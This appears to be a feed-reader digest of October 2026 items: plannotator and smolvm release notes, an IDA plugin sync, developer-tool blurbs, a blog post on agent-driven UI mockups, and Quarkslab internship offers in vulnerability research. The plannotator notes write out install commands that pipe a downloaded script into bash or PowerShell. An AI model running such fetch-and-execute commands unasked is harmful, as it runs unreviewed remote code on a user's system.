🏡

October 15, 2026
1. 🔗 backnotprop/plannotator v0.28.21 release
  Follow @plannotator on X for updates
  
  Missed recent releases? Release | Highlights
  ---|---
  v0.28.20 | Inbox search (⌘K), real folder names for projects, data files open in the code view, word-only replies leave questions open
  v0.28.19 | Ask this session in T3 Code, folder sessions load shared stylesheets and images, the agent note asked once per agent, Copy connect prompt
  v0.28.18 | plannotator inbox connects your agents, agents are told when to use the Inbox, rendered Markdown in code review, Inbox Settings in sections
  v0.28.17 | The Inbox on iPads and narrow windows, the reply bar no longer cuts off "Keep open", a Pi crash on /reload fixed
  v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
  v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
  v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
  v0.28.12 | Update notices and plannotator update, attach any file to an Inbox message, questions with context, links to attached files
  v0.28.11 | plannotator inbox --help prints a full guide for agents, and the plannotator.ai/inbox install prompt
  v0.28.10 | The Inbox over your tailnet with plannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
  v0.28.9 | Large Inbox messages through plannotator inbox mcp fixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
  v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
  
  What's New in v0.28.21
  
  You can now start a conversation with an agent from the Inbox, attach videos, and open files in their own apps. Code review sorts files into Code, Tests and Generated. All servers now refuse writes from other websites. 18 PRs.
  
  Message an agent from the Inbox
  
  A compose button beside Search (or "New message…" in ⌘K) writes to any live agent session on this computer. Pick the session, attach files by dropping them in, and send. Its reply comes back to the thread. Unsent messages can be saved as drafts.
  - #1917, #1922
  Video attachments
  
  Agents can attach MP4, MOV and WebM files. They play in the Inbox, and you can comment at a moment in the video.
  - #1931
  Open an attachment in its own app
  
  An Open button on each file opens it in your editor, the browser (HTML), the default app, or Finder. Copy path is there too.
  - #1920
  Code, Tests and Generated in code review
  
  When a change touches more than one kind of file, the code review file tree splits into Code, Tests and Generated, each with its own counts. Guided Reviews show the same kinds.
  - #1916
  Skills in Inbox replies
  
  Type / or $ in the reply box, New message or a file comment to reference a skill. A human-only skill's instructions are sent along with your reply.
  - #1914
  Tidy sidebar projects
  
  Each project in the Inbox sidebar has a ⋯ menu with Mark all as read and Archive all, with Undo. A project with nothing left in the list hides until something new arrives. Git worktrees (including Claude Code's agent worktrees) now file under their main repository instead of each becoming a project.
  - #1926, #1919
  Writes from other websites are refused
  
  Behavior change: every plan, review and annotate server now refuses a POST, PUT, PATCH or DELETE that a browser marks as coming from another site, before any route runs. Before, only some routes checked. The VS Code panel, the agent integrations and command-line tools are unaffected. If you reach Plannotator through a reverse proxy that rewrites the Host header, add the proxy's hostname to PLANNOTATOR_ALLOWED_HOSTS. Open-in no longer falls back to the OS default handler, and served images get a sandbox policy.
  - #1921, #1915, #1927
  Additional Changes
  - Accept recommended on pick-any questions stays offered until your picks match the recommendation, in plan review, annotate and the Inbox (#1913)
  - One-line Inbox toast over the pane it belongs to (#1918)
  - Agents learn theStopped: and Holds up: lines for questions that block their work (#1912)
  - A words-only reply to a session that asked twice stays words-only (#1929)
  - T3 Code: a stopping worker unregisters first, so a new request starts a fresh one (#1928)
  - Inbox groundwork for the upcoming phone app (#1930) and test hygiene (#1923)
  Install / Update
  
  macOS / Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash
```
  Windows:
```
irm https://plannotator.ai/install.ps1 | iex
```
  Claude Code Plugin: The plugin and the plannotator binary update separately, so run the install script above as well. In a terminal:
```
claude plugin marketplace update plannotator
claude plugin update plannotator@plannotator
```
  Then restart Claude Code. Inside Claude Code, run /plugin marketplace update plannotator, then open /plugin → Installed → plannotator → Update now.
  
  Pi:
```
pi update --extensions
```
  OpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
  
  What's Changed
  - Inbox: teach agents the Stopped: and Holds up: lines by @backnotprop in #1912
  - Question cards: Accept recommended stays on pick-any questions until the picks match by @backnotprop in #1913
  - Inbox: skill references in the composers (picker, pasted SKILL.md, folded Skills line) by @backnotprop in #1914
  - open-in: same-origin and session guards, no implicit OS-default launch by @backnotprop in #1915
  - Review: file kinds (Code, Tests, Generated) in the tree and Guided Reviews by @backnotprop in #1916
  - Inbox compose, part 1: threads the person starts, drafts, uploads, Pi/OpenCode poll fields by @backnotprop in #1917
  - Inbox: a cleaner toast, one line over the pane it belongs to by @backnotprop in #1918
  - Inbox: fold worktrees into their main repository's project by @backnotprop in #1919
  - Inbox: open attachments in their own apps (Open in) by @backnotprop in #1920
  - harden state-changing routes: same-origin + session guards by @backnotprop in #1921
  - Inbox compose, part 2: the window (compose dialog, To picker, drafts, uploads, Not delivered) by @backnotprop in #1922
  - Tests: never set PLANNOTATOR_BROWSER=none (it opens the system browser); use a real no-op program by @backnotprop in #1923
  - Inbox: a menu on each sidebar project (Mark all as read, Archive all, automatic hiding) by @backnotprop in #1926
  - /api/image: sandbox CSP, nosniff and CORP by @backnotprop in #1927
  - T3: a worker unregisters before it stops answering (daemon.json race) by @backnotprop in #1928
  - Inbox: a words-only Send where one session asked twice stays words-only; the phone contract states when a Send skips by @backnotprop in #1929
  - Inbox: a message's images on the phone door, with an ETag and 304 by @backnotprop in #1930
  - Inbox: video attachments you can watch and comment on by @backnotprop in #1931
  Full Changelog : v0.28.20...v0.28.21
2. 🔗 HexRaysSA/plugin-repository commits sync repo: +3 plugins, +6 releases, ~1 changed rss
```
sync repo: +3 plugins, +6 releases, ~1 changed

## New plugins
- [IDA-MCP-Hub](https://github.com/captain-ai-hub/ida-mcp) (0.9.3, 0.9.2, 0.9.1, 0.9.0)
- [const-loader](https://github.com/tien0246/constloader) (0.1.0)
- [functionloader](https://github.com/tien0246/functionloader) (0.1.0)

## Changes
- [IDA-MCP](https://github.com/captain-ai-hub/ida-mcp):
  - 0.6.0: archive contents changed, download URL changed
```
3. 🔗 Console.dev newsletter WorkOS rss
  
  Auth and access control.
  
  What we like: Pre-built UI and widgets, but with APIs for full customization of auth flows. Delegate credential storage for third-party logins and mint access tokens on demand. Handles agent auth, SAML, SSO, etc. Complementary features like audit logs, secrets vault, impersonation, access controls.
  
  What we dislike: Verifying sessions across language boundaries e.g. from web / JS to a Go API backend requires some extra work to implement.
4. 🔗 Console.dev newsletter GoNIX rss
  
  UNIX with a Go userspace.
  
  What we like: Init, coreutils, networking, etc all written in Go. Statically linked. Includes a package manager, also written in Go. Can upgrade running systems in place. Built on the Linux kernel, then the Go init becomes PID 1. Supports both server and (Wayland) desktop. Website is served by GoNIX itself.
  
  What we dislike: Does have to build some C, which it does with musl.
5. 🔗 New Music Releases Above & Beyond - Nights Like This rss
  Above & Beyond - a new release is available:
  - 2026-10-15: Nights Like This (Single)
  Amazon: Canada | Deutschland | France | United Kingdom | United States
  
  Visit muspy for more information.
October 14, 2026
1. 🔗 smol-machines/smolvm smolvm v1.28.1 release
  What's Changed
  - Count UDP ports when planning a machine's network backend by @BinSquare in #1783
  - Adopt a complete partial blob left by a cancelled pull, and restart a download the registry refuses to resume, instead of failing every later pull with 416. by @BinSquare in #1782
  - Let a running machine grow its RAM by more than 1 GiB, and stop a failed RAM resize from blocking the machine's checkpoints, pauses and branches. by @BinSquare in #1786
  - Take start options from the JSON body as well as the query string by @BinSquare in #1789
  - Add disk volumes, --block-private egress, and a coding-agent guide by @BinSquare in #1787
  - Fix Windows pack extraction for read-only entries by @NickyHeC in #1784
  - Keep a .smolmachine's file owners on Linux: host-extracted layers stay owned by root, older caches are repaired once, and the export helper sees the real owners instead of the VMM's uid and 65534. by @BinSquare in #1790
  - Change a machine's published ports through the API by @BinSquare in #1791
  - Bump version to 1.28.1. by @BinSquare in #1785
  - Bump libkrun so Windows machines stop committing about 1 GiB per VM for unused DAX windows by @BinSquare in #1792
  Full Changelog : v1.28.0...v1.28.1
2. 🔗 Quarkslab's blog Internship Offers for the 2026-2027 Season rss
  We also welcome people with wide but realistic creativity, so if you have an idea and want to join the team, don't hesitate to reach out to discuss it with our experts!
  
  Our goal is to publish most of the results of our internships. Here are some examples of publications from previous internships:
  - A blogpost on Starlink's User Terminal internals;
  - A SSTIC talk presenting crypto-condor, an open-source test suite for compliance testing of implementations of cryptographic primitives;
  - A Hardwear.io talk on Bluetooth Low Energy GATT Fuzzing;
  - A Black Hat EU talk on the Google Titan M chip;
  - A blogpost on Differential fuzzing for cryptography
  Quarkslab's team is always pleased to welcome new talents who want to work on complex security research subjects. If you want to face new challenges and work in a dynamic environment where curiosity and teamwork are at the heart of our way to do R&D, please apply!
  
  In particular, we would be very happy to welcome more applications from female candidates, and under-represented minorities. Quarkslab is dedicated to making the cybersecurity world more welcoming and inclusive for all, and that starts with our internships.
  
  With that in mind, and because we know impostor syndrome is a big obstacle for women in particular -- we've been there -- don't hesitate to reach out to us at icandoit-AT-quarkslab-DOT-com to discuss your skills, and we will help you navigate our offers.
  
  How to Apply?
  
  To apply for an internship position, you must be a student , able to efficiently communicate on technical matters in written and spoken English, and willing to present the results of your internship to a large group of curious Quarkslab colleagues. Beforehand, you need to prepare the following elements:
  - A resume;
  - A cover letter: avoid the generic letter saying that you are so motivated and that we are so interesting. We welcome a more personal letter which explains why the topic is of particular interest to you, why you, and why us;
  - Your proposed solution to the assignment attached to the offer you are interested in.
  Package these elements and send them via email to internship-AT-quarkslab- DOT-com, with the subject field containing the internship name mentioned in the respective offer.
  
  Do not forget that the key aspect of a good application is being curious and motivated, not meeting all requirements listed in the offers below should not prevent you from sending us your application, and we can discuss your skills. Keep in mind that internships are meant for learning. Let's go!
  
  Selection Process
  
  Each internship offer comes with a little assignment that should not require too much time to be completed. The result will show us not only the type of skills and knowledge you already possess, but also how ingenious you are and how well you can present your reasoning. It will serve as the basis for the interview you will have in the selection process. The assignment works both ways and is also intended to make sure that you like the topic as well as the technical aspects of the internship. If unsure about a specific aspect of a challenge, do not hesitate to drop us an email. We are open to discussion!
  
  The first applications usually reach us a few days after publication, and we start reviewing them right away. Some internships are filled before the end of the year, while others remain open until March.
  
  Did you notice the colored circles next to the title of the offers at the top of this blogpost? They reflect the state of internships:
  - 🟢 Waiting for applications;
  - 🟠 Reviewing applications, we are still accepting internship assignments but hurry up;
  - 🔴 Internship is filled.
  Being an Intern at Quarkslab
  
  Training and helping people grow in the security industry is part of the company's DNA. That is why we provide in-depth blogposts, tools, trainings, weekly internal conferences (called Fridaycon, guess when they are), we teach in universities and schools and write articles in tech magazines. Sharing is caring, but sharing is also learning. We provide the environment for that and the rest relies on you.
  
  Intern package in France:
  - Salary: €1800 gross per month (approximately €1550 net);
  - "Tickets restaurant" (restaurant coupons);
  - In-depth and challenging topics.
  Internships Topics
  
  🟢 Vulnerability assessment and exploitation of a Telematic Control Unit
  
  Description
  
  Since 2016, every new model of vehicle sold in Europe should be equiped with an eCall module, that provides voice and data connectivity for emergency services. This was an important milestone in the connectivity of road vehicles, as manufacturer are using this data capability to enhance the driver experience, with live information, remote control, ...
  
  Therefore, the telematic control module (TCU) is a key element in the security of a car, with a permanent 3GPP connectivity. From this perspective, questions arise:
  - Are these modules secure enough to prevent an attacker to get a remote access to a vehicle ?
  - What kind of data are transmitted to backend server, brokers, and what could be the impact from a privacy point of view ?
  During this internship you'll focus on one or two telematic control unit, to get an understanding on how they work, analyze communications and evaluate the maturity of their security features.
  
  Required Skills
  - ARM reverse engineering (intermediate)
  - Fuzzing (basic to intermediate)
  - Programming: Python, C
  What you will do
  
  The goals of this internship are:
  - Extract and analyse the operating system of a telematic control unit
  - Reverse-engineer targeted binary to understand how the device communicate with the backend
  - Analyze the TCU baseband
  Assignment
  
  Download the assignment.zip file and follow the instructions in assignment.md.
  
  Duration
  
  6 months
  
  Location
  
  Paris, France
  
  🟢 Vulnerability assessment and exploitation of satellite communication
  
  systems
  
  Description
  
  This internship focuses on the practical security analysis of satellite communication systems, starting from the completion and operation of an existing ground station project.
  
  The first objective will be to finalize the ground station setup and validate its ability to receive and process satellite signals. The intern will then use the station to capture and analyze real satellite communications , identify the protocols and implementations in use, and understand the different layers involved in the communication chain.
  
  From these observations, the intern will study the security properties of the identified protocols and software implementations, map potential attack surfaces, and investigate possible weaknesses or vulnerabilities.
  
  Depending on the results, the project may include reproducing known vulnerabilities, analyzing protocol weaknesses, developing test or fuzzing environments, and experimenting with potential attacks in a controlled environment.
  
  The overall objective is to follow the complete path from signal acquisition to security research , combining radio communications, protocol analysis, reverse engineering and vulnerability research.
  
  Required Skills
  - Programming: Proficiency in Python, C/C++, or similar languages.
  - Cybersecurity: Understanding of vulnerability research, reverse engineering, and security assessment techniques.
  - Networking & Protocols: Familiarity with communication protocols and packet analysis.
  - Research: Ability to investigate unfamiliar technologies, read technical specifications, and independently formulate hypotheses.
  - Radio/SDR knowledge: Familiarity with SDR or digital communications is appreciated but not mandatory.
  Assignment
  
  Choose a publicly documented vulnerability from 2022 or later affecting a space-related protocol, software component, ground station, or satellite communication system.
  
  Rather than simply summarizing the CVE:
  1. Analyze it: Explain where the vulnerable component fits within a realistic satellite communication architecture, the root cause, and what an attacker would realistically need to exploit it.
  2. Investigate it: Perform a small technical experiment: analyze the vulnerable code and its patch, reproduce the behavior, build a test harness, craft an input reaching the vulnerable code path, or propose another relevant experiment.
  3. Go beyond the documentation: Identify one question or hypothesis that is not answered by the CVE/advisory and explain how you would investigate it.
  A successful exploit is not required. We are more interested in your technical reasoning, methodology, observations, and ability to investigate an unfamiliar system.
  
  You may use AI tools during the assignment. Briefly indicate how you used them and describe at least one AI-generated suggestion or conclusion that you verified, corrected, or rejected , and explain why.
  
  Duration
  - 6 months
  Location
  
  Paris, France.
  
  🟢 Protections against dynamic attacks for firmware
  
  Description
  
  If you like playing cat and mouse and getting your hands dirty, this internship is for you!
  
  At Quarkslab, we have been developing application protection tools since 2014, featuring obfuscation and runtime application self-protection (RASP). One of these tools (QShield App Protection) relies on a compiler framework, LLVM, and comes as a replacement for the regular compiler used by our customers.
  
  While desktop and mobile targets have been supported for several years, supporting embedded targets is more challenging, due to the variety of situations.
  
  The goal of this internship is to ~~help the QShield team~~ improve ~~both~~ the level of protection for the IoT/embedded domain by developing sensors to detect dynamic attacks.
  
  For that you will need to reproduce the setup of attackers, analyze the weaknesses of the tooling they use, and develop proof of concepts to detect them or prevent their usage. You will then integrate them in our software protection tooling.
  
  Required Skills
  - Have an experience in building a firmware or a static library for an embedded device, and playing with compiler options.
  - Have some familiarity with either Arm32 or AArch64 instruction sets.
  - Be able to demonstrate experience developing in C.
  - Have an interest in compilers and software protection or security (you don't need to be an expert in compilation ;) ).
  What you will do
  
  During this internship, you will:
  - research and develop detection or counter measures for dynamic tools/techniques used to reverse-engineer embedded software such as JTAG/SWD debugging, emulation with QEMU, dynamic instrumentation, etc.;
  - integrate them into our coverage testing infrastructure which ensures that the sensors behave as expected in different environments;
  - work on the integration in the development toolchains to improve the user experience.
  For that you will work with people with various skills, such as reverse- engineering, software development with huge code bases and testing them.
  
  Assignment
  
  Write a small bare-metal firmware for the Arm Cortex-M3 emulated by QEMU (qemu-system-arm -M mps2-an385). You don't need any hardware. Use any Arm toolchain (e.g. Arm Toolchain for Embedded or the GNU Arm toolchain), but no vendor SDK, HAL, IDE or RTOS.
  
  The firmware must:
  1. use your own linker script and startup code (vector table, reset handler);
  2. print its output through the board's UART (not semihosting);
  3. determine whether it runs on an emulator or on real silicon , using at least two independent checks , and print the verdict and the raw values it observed.
  Send us a zip containing:
  - the sources;
  - a Makefile (or CMake) where make run builds and runs everything;
  - the ELF;
  - a report of 2 pages at most that:
  - explains the boot sequence of your firmware, from reset to main;
  - for each check: what it reads, the value seen under QEMU, the value you expect on a real Cortex-M3 with a reference to the Arm documentation , and how an attacker could get around it;
  - describes at least one check that did not work, and why;
  - lists the tools you used, LLMs included, and what you checked yourself.
  This should take 3 to 4 hours. We don't expect a perfect detector: a check that fails, with a good explanation, is worth more than a long list of checks you can't explain.
  
  If you're selected, you'll run the firmware during the interview and we'll change it together, look at the binary, and discuss how to bypass your checks.
  
  Duration
  
  6 months
  
  Location
  
  Paris, France
  
  🟢 Development of tooling for fuzzing infrastructure
  
  Description
  
  Fuzzers produce a lot of output data and it can sometimes be hard to sift through the results. Furthermore, different fuzzing targets require different sets of tools which might not share output formats.
  
  To face this, you will implement an aggregator that defines a common format for integrating fuzzing results into a unified dashboard. On top of displaying fuzzing campaign results, the goal of this aggregator is to triage bugs for efficient vulnerability research. The methodology will be different for each bug class and target, so the system shall be modular to allow for the integration of different types of fuzzers on different platforms.
  
  Required Skills
  - Proficient in C, C++ for analyzing code, experienced in python, js, or others for development work
  - Deep understanding of fundamental bug classes in binary exploitation (buffer overflow, use-after-free, race condition, ...)
  - Good communication skills
  - Proficient in French and/or English
  What you will do
  
  Most of your work will be programming the dashboard with the help of LLMs when applicable. Alongside that, you will come up with ad-hoc strategies for automatically analyzing certain bug classes in a specific context and producing actionable insights.
  
  Assignment
  
  This assignment is mostly theoretical.and consists of two write ups:
  - A 5 page (maximum) document describing the state of the art of binary fuzzers. In this report, include a comparison of the different fuzzing methodologies available and their use-cases.
  - Pick any Android application that uses a native library to parse user-provided data, and write a small document on how you would fuzz that library.
  Duration
  
  6 months
  
  Location
  
  Paris, France
  
  🟢 Fighting Dynamic Binary Instrumentation
  
  Description
  
  If you like playing cat and mouse and getting your hands dirty, this internship is for you!
  
  At Quarkslab, we have been developing application protection tools (QShield) since 2014, featuring protections against static attacks (obfuscation) and dynamic ones.
  
  Among the latter, Dynamic Binary Instrumentation (DBI) frameworks such as QBDI, Intel Pin, DynamoRIO, WinDBG TTD and Frida have become foundational tools in software security, enabling fine-grained runtime analysis, tracing, and modification of program execution without requiring source code.
  
  While invaluable for legitimate purposes such as vulnerability research, malware analysis, and software testing, these same capabilities make DBI a powerful vector for reverse engineering, intellectual property extraction, and license or DRM circumvention when turned against commercial or sensitive software.
  
  As a result, anti-DBI techniques have become a critical component of software protection strategies. However, developing robust anti-DBI protections faces substantial technical barriers. DBI frameworks operate at a privileged level close to the CPU and OS, making their artifacts (timing anomalies, memory layout changes, code cache behavior) subtle and inconsistent across platforms and versions.
  
  The goal of this internship is to help the QShield team improve their current protections and develop new anti-DBI sensors.
  
  For that you will need to reproduce the setup of attackers, analyze the weaknesses of several DBI frameworks, and develop proofs of concept to detect them or prevent their usage. You will then integrate them into our software protection tooling.
  
  Required Skills
  - Be familiar with reverse-engineering.
  - Be able to demonstrate experience developing in C.
  - Have an interest in software protection or security.
  What you will do
  
  During this internship, you will:
  - research and develop detection or counter measures for DBI frameworks;
  - integrate them into our coverage testing infrastructure which ensures that the sensors behave as expected in different environments.
  For that you will work with people with various skills, such as reverse- engineers, and the developers of huge code bases and their testing infrastructure.
  
  Assignment
  - As a first step, you will develop a "hello world" Linux x64 binary that detects when it is being executed under this tracer.
  - As a second step, you will assess whether your solution still works if the tracer is modified to hide or alter the artifacts you rely on (for example a string identification), and propose a more resilient detection mechanism.
  Expected outputs :
  - A PoC in source code form (feel free to use the language you want), that builds cleanly on a standard Linux environment (dockerfile accepted), with no manual tweaking required.
  - A write-up in Markdown explaining the choices made for the PoC and detailing the second part of the assignment.
  Duration
  
  6 months
  
  Location
  
  Rennes, France
3. 🔗 exe.dev A Healthier Way to Snack on UI Work rss
  
  Snacking—focusing on small, shippable tasks that make the product better but don’t necessarily help it grow—is addictive. Sometimes your main project is a slog. Why not take a break and fix something? You get that sense of accomplishment and suddenly your main project feels less daunting (the power of dopamine!).
  
  My guilty snack is UI work. I started out my career as a mostly front-end engineer. I would obsess over pixel-perfect designs and building a strong FE style guide (this was before they were even called style guides). Chris Eppstein’s Compass was my bread and butter. I’ve since moved on to other roles and I am not doing much front-end work these days. So how do I satisfy my cravings?
  
  I recently built a Figma-like tool called Radiant. Except, unlike Figma, Radiant is 100 percent agent-driven. It allows me to snack in a healthier way on UI work because it generates high-fidelity mockups based on prompts I provide. Also, instead of the traditional approach wherein someone gives the engineer a mockup that is either way out of scope or just technically infeasible, Radiant constrains itself to what our current code is capable of doing. Agents are great at scanning code and doing a deep dive on all the layers. So why not use that to our advantage when mocking up UI?
  
  To prove this idea, I decided to tackle a rough part of our UI: the current user dropdown. I had Radiant look at the current implementation and, based on the issues I called out, redesign it in a mockup and present some options. (For context, the model I used was Claude Fable).
  
  Here’s what we got:
  
  What impressed me was that Radiant also managed to pull our current styles from our code to generate these mocks. This was exactly what I wanted because instead of hallucinating a UI, Radiant just took what we had and modified it and presented multiple options. Once I chose a design, the final chef’s kiss was having Radiant generate a prompt to hand off to another agent for the implementation. That agent was able to one shot implement it (I used Claude Fable for the implementation).
  
  Radiant is still new in my toolbox, but being able to do UI work by asking for mockups and then quickly iterating on them is my new favorite way to snack.
4. 🔗 smol-machines/smolvm smolvm v1.28.0 release
  What's Changed
  - Use the host DNS resolver on Windows by @NickyHeC in #1761
  - Correct v1.27.3 docs and consolidate references under docs/ by @NickyHeC in #1754
  - Publish UDP ports with -p HOST:GUEST/udp by @BinSquare in #1764
  - Serialize concurrent pulls of the same blob so the second waits for the cache instead of failing on the first pull's renamed partial file. by @BinSquare in #1765
  - Skip the guest's free memory in checkpoints by @BinSquare in #1752
  - End a TCP relay whose host socket resets after a half-close instead of spinning by @JanPokorny in #1740
  - Fix frozen-source classification after continuing branches restart by @kcosr in #1737
  - Return a refused S3 volume as a 400 by @BinSquare in #1766
  - Stop a machine's workload gracefully and keep its output in a workload log that machine logs reads, even while the machine is stopped. by @BinSquare in #1768
  - Leave no cache base behind when a publish fails by @BinSquare in #1767
  - Name the socket path when it is too long for the host instead of a bare EINVAL by @BinSquare in #1770
  - Add --dns-option: resolver options in every guest resolv.conf writer by @sgrove in #1763
  - Time out a cache disk publish on inactivity, not total time by @BinSquare in #1771
  - Let a running machine's published ports be changed without a restart by @AlixANNERAUD in #1682
  - Run on glibc 2.31 hosts (Ubuntu 20.04, Debian 11) by linking the Linux engine and libkrun against glibc 2.31. by @BinSquare in #1773
  - Give embedders a non-blocking state, exec stdin, fenced stops, live ports, pack, small seeded disks and stable CLI error codes. by @BinSquare in #1772
  - Bump rustls to 0.23.46 for RUSTSEC-2026-0346 through 0349. by @BinSquare in #1775
  - Bump version to 1.28.0. by @BinSquare in #1769
  - Build the engine on musl hosts by calling renameat2 through its syscall, defining the mount flag libc leaves out, and letting ioctl and statfs types follow the libc. by @BinSquare in #1774
  - Find an SDK's disk templates beside its agent rootfs by @BinSquare in #1779
  - Skip Docker credential lookup when pulling a local image by @BinSquare in #1778
  New Contributors
  - @AlixANNERAUD made their first contribution in #1682
  Full Changelog : v1.27.4...v1.28.0
5. 🔗 backnotprop/plannotator v0.28.20 release
  Follow @plannotator on X for updates
  
  Missed recent releases? Release | Highlights
  ---|---
  v0.28.19 | Ask this session in T3 Code, folder sessions load shared stylesheets and images, the agent note asked once per agent, Copy connect prompt
  v0.28.18 | plannotator inbox connects your agents, agents are told when to use the Inbox, rendered Markdown in code review, Inbox Settings in sections
  v0.28.17 | The Inbox on iPads and narrow windows, the reply bar no longer cuts off "Keep open", a Pi crash on /reload fixed
  v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
  v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
  v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
  v0.28.12 | Update notices and plannotator update, attach any file to an Inbox message, questions with context, links to attached files
  v0.28.11 | plannotator inbox --help prints a full guide for agents, and the plannotator.ai/inbox install prompt
  v0.28.10 | The Inbox over your tailnet with plannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
  v0.28.9 | Large Inbox messages through plannotator inbox mcp fixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
  v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
  v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
  
  What's New in v0.28.20
  
  The Inbox gets search: one box that finds threads, messages, answers, files and decisions, and opens a result on the exact message. Most of the rest comes from one exercise: we filled an Inbox with worst-case data (long and duplicate project names, right-to-left text, emoji, huge counts, old dates, panoramic screenshots, minified files, multi-megabyte logs) and looked at every screen at every width. That found 75 places where the Inbox broke, and two PRs fix most of them. The release also changes what happens when you reply to an agent with words only, and stops a hung agent command from outliving the Inbox. 7 PRs in all.
  
  Search the Inbox
  
  Search sits at the top of the Inbox sidebar, and ⌘K (macOS) or Ctrl+K (Windows and Linux) opens it from anywhere in the window, the reply box included. It is the Inbox's one keyboard shortcut. On macOS, Ctrl+K keeps its usual text-field meaning.
  
  Results come back grouped: threads, messages, questions and your answers to them, your replies, file names, decisions and projects. Filters narrow them by project (it starts on the project you have open, and one click searches everywhere), by status, and by who wrote it. Opening a result lands on the exact message, unfolds it if the thread had folded it, and highlights your search words in it; a match in a question lands on its card. Back returns you to where you searched. ⌘/Ctrl+Enter opens a result in a new tab. The searches you opened come back as recent searches the next time, with a Clear button. On a phone, search is a full-screen sheet, reached from the sidebar or a search icon in the list header.
  
  Search stays fast on large Inboxes. On a test Inbox of 4,000 threads and 30,000 messages, most searches take a few milliseconds, including searches for ids and log timestamps inside multi-megabyte logs. Short commit hashes of 7 characters or more find the full hash. Matching ignores case and accents (resume finds résumé) and works in scripts written without spaces, such as Chinese, Japanese and Thai. The index is built the first time you search (the window shows "Indexing N threads…" for a second or two on a large Inbox), kept in memory on your computer, and updated as messages arrive. Nothing is sent anywhere, and the search routes refuse requests from other websites.
  - #1902 and #1904
  The Inbox holds up with real-world data
  
  Project names are now the folder's real name, taken from where the project lives, instead of the shortened tag used for storage. When two projects share a name, each also shows its parent folder ("api · work"), and the "N new in X" notice counts them as two. Plan history, the feedback archive and the stored project folders do not move.
  
  Dates and text read correctly. A time from another day shows the day ("Oct 10, 8:22 PM"), a time from another year shows the year, and the full date is in the hover text. Names, subjects and message paragraphs in right-to-left scripts take their direction from their own text, while centered HTML in a message stays centered. Shortened text is never cut inside an emoji or a combined character, counts get thousands separators, and a name that is cut shows the whole name on hover.
  
  File names are cut in the middle so the end and the extension stay visible, in tiles, the gallery caption, the stepping bar, the file header and the download card. Copying a cut name gives the plain name, and a screen reader hears the whole name. A changed tile says "Changed" with the day or time on one line, and keeps its annotation count.
  
  Things that grow now stop growing: the reply box, the decision form, the New message picker and the "where should this reply go?" chooser each have a height limit, and their contents scroll inside it so Send and Back stay in view. Narrow windows got their own pass: Decisions switches to two-line rows under 960 px, the list header cuts its title and path with "…", the Storage table keeps size and Delete on one line, install commands wrap in full, and the update dialog lists five open sessions and then "and N more". On a phone, tables wrap at word boundaries, the "↓ N new" pill no longer pushes the reply area around, the Comments sheet covers the file in landscape, and tall images in a message are cropped from the top.
  
  At 1280 and 1440 px with ordinary data, the list, threads, open files, Settings and Decisions are pixel-identical to the previous release.
  - #1899
  Files, images and question cards
  
  When an open file is beside a thread and the pane is narrower than 780 px, the comments panel now folds into a Comments button in the file header and opens over the file. Before, it squeezed the file at medium window widths. A guided review folds its panel the same way under 1,200 px; previously it was hidden at 900 px and below with no way to open it. A PDF or other download no longer shows an empty comments panel.
  
  Behavior change: log, YAML, CSV, JSON and other data files now open in the code view in the Inbox, with line numbers, highlighting and line comments. .txt files keep the text view. Comments left on such files before this release were text comments, so they show as Unanchored; their text is kept and still goes out with your reply.
  
  Files with a line over 1,000 characters (a minified bundle, a log line) wrap instead of scrolling sideways forever. A comment on a very long line stores an excerpt of the line instead of the whole thing. Panoramic screenshots crop to a 4:1 strip in a message's gallery and scroll sideways in the viewer, and an image smaller than its box is drawn at its own size.
  
  Two fixes to question cards reach plan review and annotate as well as the Inbox. A choice question whose recommendation names none of its choices now shows the recommendation as a "Suggested" line instead of dropping it, and a read-only card no longer draws an empty "Other" row. In guided reviews, the "Everything else" card is no longer numbered, so the card count matches the header, and headings inside a section's text render as headings.
  - #1906
  A reply with only words leaves the questions open
  
  Behavior change. Since v0.28.16, a Send skipped every question it left unanswered unless you pressed Keep open. That made sense when you answered some questions and not others, but a reply with only words ("let me check with the team first") also closed every question as skipped, and the agent moved on without the answers.
  
  The skip chip under the reply box now starts from what the Send carries. A Send with no answer in it (words, annotations or both) keeps the questions open. Once at least one question is answered in the Send, the chip switches to skipping the rest, as before. Clicking the chip still decides either way.
  
  The agent gets your words followed by one line, such as "No questions answered yet; all 3 are still open. Don't re-ask them; the person will answer in the Inbox.", then any file comments. Replies that answer at least one question are unchanged.
  - #1903
  A hung agent command no longer keeps running after the Inbox stops
  
  Since v0.28.18, the Inbox can connect your agents by running their own CLIs (codex mcp add, gemini mcp add, amp mcp add and so on), each with a time limit. If one of those commands hung and the Inbox quit, restarted to update, or reached the overall time limit first, the command was left running in the background indefinitely. It is now stopped in each of those cases. A command that finished on its own is left alone.
  - #1905
  What's new shows the notes for a version you installed yourself
  
  The Inbox saved release notes only from its daily update check, so a version installed with the install script before that check ran showed a "What's new" link that opened to "No release notes for that version." The Inbox now fetches that version's notes once when they are missing, and shows the link only when there are notes to show. With update checks turned off it never contacts GitHub.
  - #1911
  Install / Update
  
  macOS / Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash
```
  Windows:
```
irm https://plannotator.ai/install.ps1 | iex
```
  Claude Code Plugin: The plugin and the plannotator binary update separately, so run the install script above as well. In a terminal:
```
claude plugin marketplace update plannotator
claude plugin update plannotator@plannotator
```
  Then restart Claude Code. Inside Claude Code, run /plugin marketplace update plannotator, then open /plugin → Installed → plannotator → Update now.
  
  Pi:
```
pi update --extensions
```
